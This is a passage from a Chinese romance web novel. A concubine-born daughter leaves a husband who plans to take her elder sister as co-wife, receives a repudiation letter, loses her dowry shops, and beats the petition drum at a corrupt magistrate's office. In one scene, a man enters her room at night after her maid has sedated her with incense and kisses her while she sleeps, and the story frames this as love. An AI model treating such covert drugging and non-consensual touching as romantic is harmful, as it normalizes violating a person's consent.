卫清丝看好戏,祝家的人自然不必说了,若她慢一点应庞氏的话没有动,她的嫡母和父亲只会冷眼扫过来,卫如琢仿佛察觉不到她的尴尬和难受,看都没看她。 总算是开席了,坐下用膳用到一半,她的嫡母和父亲忽然叫了她的名字。 祝吟鸾看过去,“是汤菜不好吗,”她心里不想的预感越来越强烈,只能强颜欢笑转移话茬。 “今日过来用膳,主要是有件事情要告知你。” 祝吟鸾许久没说话,膳桌之上所有人的目光全都投到了她的身上。 突如其来的关注,不怀好意的目光,审视的,批判的,瞧不上的,将她包裹得如坐针毡,“……” “你姐姐和如琢的婚事。”祝大人开口点名了。 尽管之前就做过准备预想,可真的听到这句话时,祝吟鸾还是忍不住血液一凉。 为何只提她的姐姐,不提卫如琢是她的谁? 她姐姐和她夫君的婚事吗? 她在心里冷笑,垂眸没说话。 因为祝吟鸾不接茬,很不给面子,祝大人不满意,皱眉了。 庞氏训斥她,“你往日在家里如何横着不讲规矩都好,如今当着你父亲的面也这般没规矩?” 祝吟鸾咬紧了牙,“……媳妇没有这个意思。” 她还是不抬头,视线停留在碗中的汤菜里。 即便是三月了,还是有些冷。 她碗里的汤已经渐渐浮成了生.硬.的油渍,好似她糟糕的姻缘一般。 祝大人虽然没有跟她相处许久,但也清楚这个女儿的性子,怯懦卑微,往日里总抬不起头。 从这个角度看过去,她垂眸的样子跟她的小娘有几分相似。 那个早逝的妾,叫什么来着?他早已记不清楚了,毕竟过去了很多年。 惟记得她生得很美,莞尔一笑时,娇怯得令人生动,当年他惊鸿一瞥,便收了她。 她的女儿比她还要更娇些……人也是弱弱的。 也不知她能活多久,会不会如同她的小娘一般短命。 “这门姻缘本就是你长姐相让于你,你如今占了四个年头,也应当还给她了。” 占? 父亲怎么能用这样的字眼来形容她嫁到卫家的几年? 祝吟鸾的心里说不上来的酸涩,她快要控制不住自己的心绪了。 好想哭啊。 可她不能,只能默默咬紧牙关,忍下情绪,毕竟不会有人心疼她的,只会取笑她。 “怎么不说话?”祝大人不满意她的沉默,声音渐渐强.硬.起来。 “女儿……不知该说什么。”她的声音已经有些许哽咽了。 朱夫人说,“你姐姐毕竟跟你是骨肉血亲,将来她若是有了孩子,也是你的孩子啊,都是一样的。” 她的话才说完,本就不喜欢吟鸾的婆母收了好处,也用施舍指点的语气道,“你入我们卫家门多年没有身孕,你姐姐愿意帮着开枝散叶是你的福气。” 小姑卫清丝往日里便与长姐交好,如今自然站在她那头。 祝吟鸾真不知道该求谁。 她还能求谁? 于是她将目光投到了卫如琢的身上,可卫如琢都没有看她。 他在给长姐夹菜。 他的动作,已经足够说明一切了。 祝吟鸾在心里讽刺一笑,她到底在想 什么?竟然想着靠卫如琢给她博面子吗?他渐渐在朝廷立足,越发厉害,何曾将他的权势分予对换给她几分尊荣? 没有,他越是往上走,都不必众人说什么,卫家的人都越发看不起她了,说她只是庶女出身。 可她……还是没出息的在期待。 原以为在这场至亲至爱的挤兑“围剿”当中,还有她朝夕相对的枕边人能够否了这件事情,可自打长姐今日进门,卫如琢的目光总是有意无意落到长姐的身上。 跟在两人身后的祝吟鸾,其实也听到了些许只言片语。 长姐问他还记不记得?她问的时候转了转身上漂亮夺目的衣裙。 卫如琢看着她笑,说记得,这是他第一次和她见面的时候,她所穿的衣裙料子,那时候她不小心弄泼了茶水,脏了衣裙,险些哭了。 他给她赔了一身一模一样的衣裙,她才勉强没有闹。 长姐笑意盈盈,说过去了这么多年他还记得。 卫如琢说他一直记得。 祝吟鸾当时只觉得心如刀绞,她和卫如琢成亲四年了,他可曾记得她的喜好厌恶?她穿过什么衣裙? 别说第一次见面了,她见了他几次,他都记不得她,当时在祝家还以为她是貌美的小丫鬟,听过,但根本不知道她这个人,因为没有上心。 越是回想越是难受,堵得她想要呕吐。 可祝吟鸾就算是认清了事实,还是不甘心,既然大家都挑明了,她…… 她轻轻唤了卫如琢几声,但因为她的声音太小,旁边的朱夫人和庞氏还在说她的不好,问她为何不点头?小姑也在搭腔拱火。 祝吟鸾只好去扯了扯卫如琢的袖子,总算是见他回神了。 可他看过来的时候,对着长姐的消失了,面对祝吟鸾的是皱眉不喜。 祝吟鸾鼻尖酸涩得厉害,她刚要问他这件事情他是怎么想的,怎么看的?是不是真的也要长姐进门? 可她还没说呢。 卫如琢也叫着长姐的闺名,“沉檀说她体恤你是妹妹,所以不争大房,只为平妻,你看……” 怔顿的祝吟鸾看着他的脸瞬间哑然。 他的神色是不喜悦的,语气说得犹豫,好似她在为难人一般。 这门由她填补才得圆满的姻缘,如何全成了她在为难? 她在卫家这几年算什么,她汲汲营营做了那么多事,到底算什么啊? 她卑微,伏低,努力,刻苦,退让,隐忍…… 因为想要父亲的重视,想要嫡母也能关怀她一二,想要夫君爱重,想要婆母与她和睦。 她有什么错?是太贪心了吗? 可都四年了,她辛苦了四年,一无所获,不仅没有得到什么,就连努力了许久的姻缘都要被人夺走,还说她鸠占鹊巢? 直到这一刻,她总算是明白顿悟了,不论是亲缘抑或情爱,纵使她再如何低入尘埃,也难以奢求一丝爱重。 祝吟鸾攥着男人宽袖的的手一点点松开,垂落。 “……” 卫如琢看着她松开自己的动作,心头忽而浮起恐慌。 适才他就不敢看祝吟鸾,可如今看着她这般沉默心如死灰的样子,竟觉得有些慌了。 慌什么?他不清楚。 若说是因为祝吟鸾算是“闹”了,他不应该觉得新奇兴奋吗? 可她没有大闹,他也没有兴奋,只觉得心慌到心里好似空了一块。 祝吟鸾的确心如死灰,千言万语化为悲戚乌有,她连辩驳质问的力气都没有了,朱夫人,庞氏,小姑在她耳边念叨得头疼,厌恶,她难受到想吐。 良久之后她才垂眸,敛下思绪,轻声道,“既然如此,那便和离吧。” 此话一出,所有人都静默了。 祝大人,朱夫人和庞氏,以及卫清丝都愣住了。 胆小怯懦的祝吟鸾说什么? 她要和离? 在坐的众人,约莫只有祝沉檀是愉悦的,但很快她就笑不出来了,因为她看到卫如琢凝盯着祝吟鸾,而对方没有看向他。 他这是什么神情? 祝吟鸾要和离,他不应该愉悦吗?毕竟他根本不喜欢祝吟鸾,为何好似生气一般?若说是因为祝吟鸾突如其来的“忤逆”,但也不太像。 反而像是被拒绝的愿意放手,露出的恼怒神情。 祝沉檀不得不开口,“妹妹,你这是说的什么气话?” “姐姐进门也碍不着你什么,反而能够更好的帮衬卫家,咱们姐妹之间彼此和和气气的伺候如琢不好吗?不比那个外来的小妾强?” “难不成是因为你不喜欢姐姐?还是想要霸占如琢?”她一连几问,随后又装可怜,“姐姐知道,我先前嫁过人,如今难以找婆家,但吟鸾……你就看在我们是姐妹的份上,给姐姐一条活路吧……” 说着说着,她竟然哭了起来,祝吟鸾看着她梨花带雨的面庞。 祝大人很生气,“瞧你,把你姐姐惹哭了像什么样子!给你姐姐道歉!” 祝吟鸾没吭声,祝大人拍了桌子,汤菜都要洒落了,可她还是无动于衷。 庞氏也随之生气,说她无法无天。 “让姐姐做平妻,岂不是委屈了姐姐,直接做正头大房不是很好吗?”她讽刺笑了一下。 众人没想到祝吟鸾竟然会反击。 但她柔弱,如此也不过就是以卵击石而已。 朱夫人道,“你姐姐看你进入卫家几年可怜你,愿意让你和她平起平坐,你不领情就罢了,非要把两家都给闹得不安生了是吗?” 许是真的清醒了起来,祝吟鸾只觉得以前怎么没有擦亮眼睛,看穿嫡母这副令人厌恶的面孔。 但现在来看,实际上也不晚了。 可她头一次反驳,也没有人将她的话给放在心上。 “姐姐是嫡女,与我平起平坐是委屈了姐姐,既然姐姐如此体恤,我也应该投之以桃报之以李。” “所以吟鸾自请和离,让姐姐做正室大房,与卫公子长厢厮守,百年好合,早生贵子,儿孙满堂。” 她脱口而出的卫公子几个字令卫如琢本就不好看的脸色,更是在瞬间变得极其难看起来。 尤其在听到后面的什么长厢厮守,百年好合,早生贵子,儿孙满堂。 他忍不住站起来,“祝吟鸾,你疯了?” 面对男人的质问,她显得尤其静默,也没有跟他吵闹,而是道,“我只想要和离。” 这不是卫如琢想到的结果,她闹也就是闹几天气,但也不会真的跟他叫板,可祝吟鸾怎么会想要和离呢? 这还是他印象当中那个娴静温婉到无比怯懦,在床榻之上,甚至都不敢怎么出声叫唤的祝吟鸾吗? 她竟然提出了和离,而且看起来很坚决的样子。 和离之后,她要去哪? 她还能去哪里? 思及此,疑问之下的卫如琢总算松懈,他笃定京城没有她的任何立足之地,因为祝家的人容不下她。 “气话说一次就够了,适可而止才是聪明人。”卫如琢冷冷道,“你应该清楚若我点头,你哭着回头我也不会容你留在我身边。”他威胁。 祝吟鸾却嗯了一声,“我都知道。” :. 她缓缓起身,娇小的身躯站得笔直,直视他,眼神一如既往的平静,却又写满了悲伤,甚至有些许乏累,而显得人空洞。 “所以……请卫公子看在这些年的情分上,给我一封和离书吧。”她轻声道。 “你真的铁了心要和离?”卫如琢又问了一遍。 他很清楚不应该问的。 毕竟已经说了几遍,再问下去,祝吟鸾一定会认为他舍不得她,届时有恃无恐,万一她所说的和离不过就是虚晃一枪呢? “出了这个门,你再也不能回头。” “我都知道。”她又说了,“请你给我和离书。” 先是卫公子, 如今又是你,夫君也不叫了。 好啊,她当真是要翻天了。 也应该让她吃些苦头,卫如琢当场让人取笔墨纸砚来,他要让她清楚,开弓没有回头箭,闹一闹差不多就行了。 众人还没有回神,谁知道祝吟鸾要和离,谁知道卫如琢当场就让人取笔墨纸砚来。 朱夫人被吓到了,她看着剑拔弩张的两人,扯了扯祝大人,给他递眼神。 若是和离了,祝吟鸾出了卫家门,好是好,可旁人怎么看她的沉檀? 就算要和离,也不能在这个关头。 祝大人意识到要制止,率先把矛头对准了祝吟鸾,“若你和离,不要想住到家里去,我们丢不起这个人。” 祝吟鸾闻言,苦涩讽刺一笑,“女儿知道。”她点头,“绝不回家。” “女儿成亲出门之时,父亲说嫁出去的女儿泼出去的水,覆水难收,女儿明白。” 长姐出嫁之时,父亲和嫡母喜极而泣,贺她安好,万事顺遂,到她这里就是泼出去的水了。 见她吃了秤砣般铁了心思,祝大人都怀疑她是不是被人下降头了。 又接着威胁,“你执意如此,我便当再也没有你这个女儿!” 祝吟鸾沉默片刻,她抬头看着祝大人,漂亮的眼睛慢慢凝聚着水雾。 她的眉眼除却像她的小娘,也有几分跟他相似,祝大人看着她的时候忍不住想。 见她要哭,还以为她被吓住回心转意了。 可谁知道她眨眼之时,泪珠滚落,伴随着一声,哭着笑,“……好。” 祝大人哑然,“……” 笔墨纸砚很快就拿来了。 走到这一步,在庞氏的催促之下,卫如琢真的动笔写起了和离书。 写到一半,看着旁边沉默的女子,他却莫名写不下去了。 那股空落落的难受,竟然慢慢转化为窒息,他想到祝吟鸾刚嫁进来的时候,这么多年过去,她没有功劳也有苦劳。 所以他顿笔,“祝吟鸾,我再给你最后一次机会,你真的要和离?” 她保持良久的沉默,不是思考,而是对他无话可说。 不想跟他交谈了? 卫如琢气极反笑,“好啊!好!” 他撕毁和离书。 祝沉檀还以为他不和离了,刚要说点什么,却见卫如琢又抽了一张宣纸,重新动笔。 三两下,行云流水的字迹已经跃然纸上。 可凑上前去看的卫清丝也忍不住诧异,因为他写的不是和离书,而是休书。 诧异归诧异,卫清丝已经忍不住要笑了。 有了这一纸休书,谁还敢要祝吟鸾?她这辈子都无法在京城立足。 卫清丝只觉得愉悦。 祝吟鸾嫁进来后,只喜欢小妹卫明烟,在帮她挑夫郎的时候也更用心,如今小妹的夫郎晋升,家里哥哥又蒸蒸日上。 三个兄妹,她竟成垫底的了。 卫清丝当然恨祝吟鸾。 她就是个庶女而已,凭什么做她的嫂子?过那么好的日子。 卫如琢写好之后,卫清丝替他拿给了祝吟鸾。 她看到醒目的休书二字,心神一晃,但又觉得在意料之中。 卫如琢在休书里说她四年无己出,大小事宜不忍不让,善妒难言,顶撞婆母,妯娌不合,本想娶她携手一生,繁衍子孙,却适得其反,因她性子倔傲,琐事不容,闹得家中鸡犬不宁,特此休书,谴返出门,任凭娘家发落…… 总之,将她贬得一无是处。 她不想哭,可还是忍不住掉了眼泪,但她很快就擦掉了。 收好休书,最后朝着在座众人福身行礼,带着明芽和姣惠离开。 卫如琢看着她的背影,心里的慌张被放到极大,总感觉她出了这个门就再也不会回来了。 他和祝吟鸾此生不会再有任何瓜葛。 他竟然控制不了自己,往外追去,祝沉檀和庞氏等人叫他都没个反应了。 不过就是慢了一步,祝吟鸾竟然走得那么快。 幸而,他到院子里的时候,她在收拾衣物,看样子还有一会。 卫如琢看着她收整衣衫的样子,她察觉到他的视线没有看过来,完完全全的无视。 卫如琢不免火大。 但还是按捺着性子,他先是让周围的小丫鬟出去。 明芽和姣惠不肯走,拦在祝吟鸾前面。 卫如琢冷冷看着两人,他反复要杀人,可姣惠一点不怕,她微微眯眼,带有胎记的脸上渐渐露出杀意。 站在姣惠旁边的明芽虽然害怕,但也没有让开。 见卫如琢要叫人动手,祝吟鸾放下手上正在整理的衣裙,让两人先下去。 “小姐……奴婢不放心您。”明芽护着她。 “没事。”她朝两人摇头。 卫如琢就一直看着她劝退小丫鬟下去。 没一会,就只剩下两人了。 卫如琢没说话,他以为祝吟鸾会先开口,毕竟他还没有开口,她便已经将人给支开了,万万没想到,她并不打算开口,继续整理她的衣裙。 卫如琢看着她,质问,“怎么,舍不得荣华富贵,还要从家里带走绫罗绸缎?” 祝吟鸾微微一顿,她的视线总算是从这群讨厌的衣物箱笼挪到了他的身上。 她方才哭过,虽然已经收拾好情绪,可脸色不好,眼睛也红肿。 本以为她会求他,没想到她会说,“卫大人要不要好好看看,这些东西究竟是我陪嫁带过来的?还是卫家所有的?” 祝吟鸾的确是不想跟他说话,可卫如琢实在欺人太甚,用休书羞辱她不算,还要从这些东西上克扣。 想当初她嫁入卫家之时,卫家的营生不都是她撑起来的吗? 就算是再好脾气的人都忍不住,所以祝吟鸾回击了。 但是话也没有说得太难听。 因为她很清楚,现在还在卫家,若是激怒了卫如琢,她的处境会变得很不好。 经她提醒,卫如琢可算是低下他高傲的头颅勉强看了。 这些衣裙好像真的是她刚嫁进来的时候,一并带来的。 这几年,祝吟鸾竟然没有裁什么好的衣衫?他不是给过她料子么?母亲也说过,把库房最好的云锦全都给了她。 她把这些东西都放到什么地方去了? 看着她不停收拾,速度越来越快,好像巴不得现在就离开卫家。 看得他火冒三丈。 卫如琢上前,抛出一个问题,“祝吟鸾,你这么迫不及待甩开我,是不是外面有人了?” 闻言,祝吟鸾抬眼看去,就像是在看一个怪物。 触及她的神情,卫如琢知道了答案,没有。 也是,哪有人会要祝吟鸾。 她年岁小的没有一丝鲜活气,更不懂得任何情爱欢意,纵然安分贤良美得出尘,在他的眼里始终带着木讷的呆板。 但凡男子都会喜欢祝沉檀那样明艳大方的姑娘。 祝吟鸾,并不讨喜。 “我现在过来也是要跟你单独谈谈。” 她不理他。 卫如琢有些躁,“你有没有在听我说话。” 他实在是烦,拽着她的手腕将她拉起来。 明明没有用多大力气,可她剧烈挣扎,“放开我,你捏疼我了。” 好久没碰祝吟鸾了,她的手腕竟软得像是没有骨头,甚至嫩滑。 他一时之间不想松手,尤其是近距离看着她的面庞,她的眼睛。 “怎么?你就迫不及待出去吃苦受罪了?” “我们已经分道扬镳,还请卫大人自重,更何况长姐若是瞧见,她一定会跟你闹的。” 她话语里的前半句令人心烦,后半句却莫名叫人心喜。 所以,祝吟鸾的心里还是有他的,否则也不可能提到她的长姐了,说来说去,还是吃味。 思及此,卫如琢心里爽快了,更重要的是,他也没那么慌张了。 他尝试跟她说,“你姐姐进门也只是平妻,与你平起平坐,你到底还有什么不满意?” 祝吟鸾不说话。 卫如琢的视线停留在她的身上 ,她感觉到无尽的恶心,微微侧过脸回避。 他以为她在考虑,在委屈,软着声音叫她的名字,“吟鸾,你应该懂事一些。” “尚书大人为难,加之我还要晋选,我需要祝家的助力,需要你的姐姐帮忙,所以你要明白我,谅解我。” 她还是一如既往的沉默。 她没有挣扎了,卫如琢以为她已经彻底被说动了。 于是跟她说,“你放心,我没有忘记你刚进门时,我与你说的话,我会一直尊你爱你,护着你,这些年不都是这样过来的吗?你生不出孩子,我有训过你半句吗?你如何不能体谅我?” 祝吟鸾实在是听不下去了,她想笑。 卫如琢的确需要祝家,需要长姐,需要很多人,但不需要她。 如今也好,她也不需要卫如琢了。 什么这些年都是如此过来的?他早就把这些事情抛到九霄云外了。 他没有一丝尊她爱她护她。 “卫大人说完了吗?”她冷声。 “我的东西还没有收拾好,与我在这里纠缠没有任何意思,松开我吧。” 卫如琢方才好转的脸色在这一瞬间变得无比难看,因为被她落了面子,他猛然甩开祝吟鸾的手腕,“好!” “你既然要走,日后不要哭着回来求我!” “残花败柳,你以为谁还会要你?” 祝吟鸾太能忍了,她明白纠缠口舌只会累了她自己,所以她一句话都不说。 卫如琢看了她一会,连连道了几声好,最终拂袖而去。 人一走,姣惠和明芽连忙进来了。 问她有没有事? 祝吟鸾摇头,“快些收拾东西,我们离开吧。” 幸而她的细软不多,加之前面也有过准备,所以很快就装好了。 姣惠早就叫来了马车,庞氏吩咐了人不许帮忙,主仆三人一道把东西从后角门搬走。 东西不多,三人倒是可以拿,就是要跑几趟。 祝吟鸾往日对下人们好,有不少小丫鬟和婆子背着庞氏偷偷帮忙,还说舍不得祝吟鸾,甚至有人偷偷责骂起了卫如琢,被掌事的婆子给呵住了,这才没有接着往下说。 上了马车,祝吟鸾如释重负。 她哭不出来了,明芽却一直抽抽噎噎,责骂卫家和祝家的人,担心祝吟鸾日后该怎么办啊? “走一步算一步吧,天下之大,总不可能真的无法立足。” 她会做很多事情,更重要的是手上也有铺子,紧着铺子吃,应当也够了。 “别哭了。”她安慰明芽。 马车跑了许久,总算是到了一处宅院,这边隶属于京城的西南脚,离卫家很远,不仅离卫家远,就连祝家也是相当远。 “小姐,奴婢记得高门几家都在这边呢!” 高门几家? 她下意识浮现出一个侯府沈家,没想到明芽就提了。 “沈家也在这边?”祝吟鸾看向姣惠。 对方点头,“是,这边高门士族多,论起官兵巡逻,要比京城其余的地方都还要好,奴婢想着,您一个姑娘家,还是要找好一些的地方。” 的确如此,她在这里,卫家、祝家的人要来闹,恐怕都要掂量掂量了。 宅院环境清幽,进去以后越发显得别有洞天,外面看着狭窄,里面却错落有致,假山莲池绿植花卉摆得很是好看。 的确很适合姑娘家居住。 除却会客的正厅,绕过小花厅,是她歇息的院子,旁边有耳房,还有小库房,膳房。 祝吟鸾看下来,虽然满意,却很担心,“这里的价钱……” 姣惠道,“小姐,这间宅子并不贵。” “不贵?”她觉得不太可能。 这座宅子坐落在高门世家附近,地段就不必说了,这里的装潢如此雅致,怎么可能不贵? 祝吟鸾皱眉。 姣惠连忙解释说,是因为这宅子先头闹过人命案子,其实也不算什么事情,富贵人家在这里养过外室,正头大房来闹,怀有身孕的外室摔死了,一尸两命,所以宅子就空置了许久。 越是高门的士族越是讲究吉祥如意,所以没人敢买。 好不容易等到有人询问,那人就很爽快给了个价,加上她能言善辩,会回价,哄了对方少了许多,这才拿下了。 祝吟鸾听罢,“原来如此。” 明芽却说不怎么好,“小姐好不容易脱离卫家,怎么不找个风水好的地方?” 姣惠抿唇反问祝吟鸾要不要换宅子?只是还得还得挑挑,这些时日恐怕要住酒楼了。 越是权贵云集的地方,吃食用物越不便宜,她的手上虽然不紧张,却也不敢胡乱花销,因此祝吟鸾说不必了。 “这里也很好。” “快把东西搬进去吧。” 明芽也只能点头。 姣惠暗地里松了一口气,胡乱编了一些话,幸而祝吟鸾没起疑。 这宅子可是大人修整了许久,专门等着小姐过来,哪里是什么凶宅,但不管怎么说,也算是敷衍过去了。 真是为了庆祝,祝吟鸾让明芽做了一桌子好吃的,让两个小丫鬟都坐下来陪她一起。 许久没有这样的静谧闲适了,祝吟鸾吃了不少饭菜。 膳后,她在小花厅转了转。 夜里她没什么睡意,姣惠点了一支安神香,她渐渐陷入深眠。 夜深人静,明芽也陷入昏迷。 有男人翻墙越进,见到此人,姣惠上前行礼,随后推开门扉。 对方颔首,抬脚进入。 他的步履实在太轻了,祝吟鸾就算是清醒着也听不到,更何况她陷入了沉睡。 男人至于床榻边沿坐下。 撩起幔帐看到平躺的姑娘,即便是在睡梦当中,她的眉头依然微微皱着 想来这些时日很累了。 她的眼睛还是肿,跟着她的人说她今日还是哭了,虽然不算太厉害。 有些时日没见,比起之前,她又瘦了许多。 沈景湛从袖中拿出一个小瓷瓶,打开之后,用指腹蘸膏,俯身轻轻擦在她的眼睛周围。 睡梦当中的姑娘没有察觉到他的靠近。 也不知道有人靠近她,给她上药。 俊美男人的视线停留在她的身上,专注,深挚到有些幽暗,若他没有敛睫遮掩,被人看去只觉得危险。 他的薄唇边噙着淡淡的笑。 药已经擦好了,却还没有收回他的手,用指腹摸索着她的眉眼。 很轻,很缓慢。 她身上淡淡的香味渐渐往这边传过来,萦绕在他的鼻端。 他的视线越来越深暗,分明已经看了她许久,可还是觉得不够,不知是她生得太好,还是因为他太贪婪。 他目不斜视,一直看着她。 从她的眉眼扫过,至于她挺翘的鼻尖。落到她的,泛着淡淡樱粉的唇瓣之上。 也不知道看了多久,他又渐渐俯身,越来越近了。 若是祝吟鸾睁眼,便会看到一张放大的,略显清冷的俊脸。 他闭上眼睛,薄唇缓缓靠近。 原本要克制的,也清楚这样背地里偷亲的事情并不好。 可已经许久没见到她了,许久没有闻到她身上的味道。 他一开始真的没有打算要做什么,可她身上的香味淡淡的,鲜活的,令人上瘾。 思忖期间,男人的薄唇已经落到了她的唇瓣之上。 他原本只想一触即离。 可她的唇好是香软,软到他不知应该说些什么了。 他停留了一会,不知怎么的,就动了起来,多吻了几下。 男人闭上眼,微微侧脸,鼻尖与她的鼻尖摩挲而过,他轻轻吮了一下她芬芳馥郁的唇瓣,又企图撬开她的唇。 可许久没有人碰过的地方,触感还是很明显。 睡梦当中的人眉心微动。 男人偷亲的动作在这一瞬间停了下来,他抬眼看上去。 发觉 她没醒,只是眉心触动,睫羽颤栗了一下。 随着他停下来,她也没反应了,重新陷入了沉睡。 见状,男人垂眼,又吻了她一下,这才缓缓起身。 他没有很用力,但还是在她的唇上留下了痕迹——比之方才要红润不少,也不知道她若是转醒,会不会发现端倪? 若是发现,只怕也不会想到那上面去。 他又伸手碰了碰她的侧脸,大拇指腹摸索着她的唇瓣。 “鸾儿……”,男人轻声低喃。 这一夜,沈景湛停留了许久才离开。 翌日,祝吟鸾唇瓣上被吻红的地方早就恢复如常了。 只是她坐起来之时,总感觉幔帐当中有一股淡淡的,清冽的气息。 也不知是不是她的错觉。 一瞬间,令她想到了一个人。 沈景湛。 因为前几次他搭救她,两人离得很近,她曾短暂闻到了他身上的味道,就是这样的。 可想到这个人,他怎么可能会出现在这里,尤其出现在她的幔帐当中? 祝吟鸾没有再想,径直把这个念头抛诸脑后。 今日天色很好,她在家中休整,哪里都没有去。 明芽和姣惠跟着她,倒也安静,知道她不想听,没有再提有关卫家和祝家的事情。 差不离四日后,她想去铺子巡查看看,若有必要,她想要替换一些人手。 当初为了扶持卫家,依着庞氏所言,铺子里放了不少她身边的人。 和离太过于匆忙,这一批人还没有换掉。 祝吟鸾想着,不论如何,一定要尽快把这些人都给换掉。 今日她要过去看看。 可没有想到,卫家的人没有被换掉,反而是她的人全都被替换,不,是赶走了。 铺子里的管事不认她了,说她既然不是卫家人,不来买货的话,就不让进。 明芽气得叉腰,问他们知不知道铺子的商契和地契在谁的手上?竟然敢这么跟东家说话! 对方完全不吃这一套,越发猖獗起来。 还说什么东家只有一个,那就是卫家大人,卫家老夫人! 至于祝吟鸾已经和离了,那就不是这里的东家。 “这些都是我的嫁妆。”祝吟鸾肃声道。 “对,这是我们姑娘的嫁妆,纵然和离了,也是我们小姐带走,归属我们小姐所有。” “卫家大人派底下随从来说了,您与他不是和离,而是您被休弃,所以这嫁妆您带不走,全都是卫家的。” 这掌柜的嘴脸实在厉害,对方有备而来,祝吟鸾一时找不到应策,围观的人越来越多,闹大了对她不好。 她只能先带着明芽和姣惠,去另外一家铺子巡查。 可没想到,这家铺子也是一样,她的人全都被替换了,不知所踪,提上来的全都是之前庞氏放进去的人,嘴脸一派市侩凶狠。 第二间铺子如此,第三间第四间第五间……剩下的都不用去看了,祝吟鸾已经知道了结果。 “小姐,对方竟然如此大胆,连地契和商契都不管了,我们去报官吧!” 祝吟鸾站在马车边沿沉思,“报官只怕也没什么用了……” 铺子的人员更换,可能是庞氏,可能是卫如琢,亦或者她的小姑,她的长姐,嫡母……这些人当中的谁做的。 但不论是谁做的,祝吟鸾都很清楚,官府那边一定打点过了。 卫家和祝家的人要把她往绝路上逼。 她如今没有依靠,想要回铺子,恐怕很难。 “小姐,我们现在应该怎么办?” 祝吟鸾想了想,“带上商契和官契,我们去看看。” 就算前面是死路,她也要闯一闯。 毕竟是属于她的东西,是她一手扶起来的铺子,卫家的人坐享其成,贪得无厌,她也不想一让再让。 “可官府那边……您不是恐怕报了,也没什么用吗?” “总要去试试。”好歹是京城,在天子脚下,卫家不算顶级高门,不可能会做到只手遮天,何况,卫如琢如今备受瞩目,他做事必然也会收敛。 除了官府那边,她也没有什么门路可走了。 她没有权势,没有足够多的银钱,所以人力也不够。 这些铺子能够让她在很长一段时日都衣食无忧,她不能就这么放手,再者说,该留在卫家的东西,她都已经留下了。 “明日去官府。”她要提前准备诉状纸。 祝吟鸾几乎一夜未眠,翌日她梳洗之后,用了些许早膳,带上斗篷和面纱,便过去有司衙门。 可谁知道这才过去,就吃了一个闭门羹,对方守门的见她是弱女子,竟然不让她进去,说嫁了人便要夫家来。 祝吟鸾离开卫家之后,便放了头发,梳的是姑娘发髻,对方直接说她是妇人,话也不问便赶她走,想必是已经得到了什么风声,至于是什么风声,已经不必多说了。 祝吟鸾耐心解释道,“我并非是出嫁妇人。” “既然不是出嫁妇人,那便是未出阁的姑娘了?” “未出阁的姑娘,为何要出来抛头露面?若有诉状,让你家里的人来!”衙门不耐烦说完这句话就让她走。 说她若是不走,既要动手把她们给赶出去了,说吧,还冲着主仆三人手里亮了亮刀剑。 姣惠立马挡在两人的前面。 明芽抱着祝吟鸾。 “快走!别来这里耽误时辰!” 祝吟鸾看着对方好一会,她压下心气,拿了提前准备的银钱递给对方,“大人,我只是一个孤弱女子,求您通融一二吧…” 祝吟鸾看着娇弱,那守门的衙役掂量着手里的银钱,收下之后,只给她一句话,“这是上头的意思,姑娘也别为难我们这些小的了。” 果然,是有人作祟。 祝吟鸾咬唇,“……” 她又递给这个守门的衙役一袋银钱,比方才还更多。 衙役忙不迭收了银钱,神色也好了很多,可口吻不松,“姑娘,你给的银钱多,我也不能光拿你的钱,就给你透个准信,这里面啊,已经祝、卫两家打点好了。” “您小细胳膊拗不过大腿,还是不要跟家里人作对了。” 两家都掺合了,这是要将她逼入绝境当中啊? 祝吟鸾怔愣。 对方看她失神落魄,但还没有死心的样子,又劝了她几句,“你就算是见到了大人也没什么用,因为对方不会接你的诉状,也不会受理的案子,所以赶快回去吧。” 说完之后挥挥手,让祝吟鸾快走。 可她不走,只道,“若我执意要告呢?” 旁边置有登闻鼓,祝吟鸾的目光看了过去。 对方道,“若瞧登闻鼓,可是要率先廷杖三十的。” “这杀威棒打下去,姑娘你看着弱不禁风,能扛得住吗?” “我可以替我们小姐受罚!”姣惠站了出来,说她皮糙肉厚不怕被打。 “这可不行,我朝律法特意指明了,谁敲登闻鼓就打谁廷杖,不能更改。” “小姐……” 明芽犹豫,拉着祝吟鸾,就怕她真的去敲了登闻鼓,这三十廷杖打下去,祝吟鸾哪里撑得住,就怕不死也残废了,往后还怎么活? 有司衙门不理会,再往上的官司也没办法靠近。 因为京城阶层分明,黎明百姓要告状也得一层层过官庭审,下边的解决不了,才能往上,若是越官告状,必得受刑罚,且比廷杖三十更重。 祝吟鸾连三十廷杖都受不了,更不要提那些刑罚,她自己也很清楚。 可她咽不下这口气。 除此之外,她也清楚,这一次认了怂,卫家和娘家的人,只怕会更进一步欺负她。 铺子的事情在前面,日后说不定还有什么呢。 不把她逼出京城,那也定然要让她回去下跪认错。 想到过往窒息的四年,前几日被人围着欺压的委屈和愤怒,夜里掉的眼泪…… 祝吟鸾的心中也是恼了,加之昨夜没休息好,她往旁边一走,心下一横,竟然真的跑去旁边,拿起鼓.棒,敲打登闻鼓。 守门的衙役都惊呆了。 京城当中,许久没有人敲打登闻鼓了,没想到还是一个漂亮的柔弱姑娘。 她的斗篷 帽子掉了,露出白净的脸蛋,娇小的身躯看着柔弱,手上的力气却很大,把登闻鼓敲得很响,鼓声回荡在京城这一边的街面当中,很快就吸引来了很多人。 衙役上前驱赶她,说她是个疯子,又把旁边围观的人赶走。 祝吟鸾却一直在敲,明芽一直嚷嚷说,“敲了登闻鼓,就要开庭接诉状辨冤屈,这是我朝规矩,有司衙门的大人们不按律法办事,是不把圣上放在眼里吗?!” 明芽的声音实在太大了,围观看热闹的人怎么都赶不走。 一个衙役只能进去传信,有司衙门的邢大人听到外面吵闹,只能叫人先把祝吟鸾给带进来,再行解决。 可围观的百姓不肯走,人实在是太多了,几乎把这边围得水泄不通。 他派了很多人堵着门口,这才勉强得了一个清静。 诉状递了上去,对方装模作样扫了一眼,最后问她名讳,又问她要告谁? 祝吟鸾不卑不亢一一答过。 邢大人摸着胡子,“嗯,本官都知晓了,凡事都走章程,瞧你陈事也算清楚,不是个糊涂人,应当知道敲登闻鼓以后要先做什么吧?” 廷杖三十。 祝吟鸾咬唇点头说知道。 “好,叫人上刑.架!” 姣惠和明芽扑到祝吟鸾身上,不叫官兵带走她,跪在地上请求替她挨打。 可座上的邢大人根本就不管,他本意就是要打祝吟鸾打晕,丢出去算了。 这案子自然是不能审理的,毕竟收了卫家的好处,那卫如琢可是新秀啊,前途无量的人物,不能得罪。 所以,即便是知道祝吟鸾委屈,邢大人也得装作她不委屈。 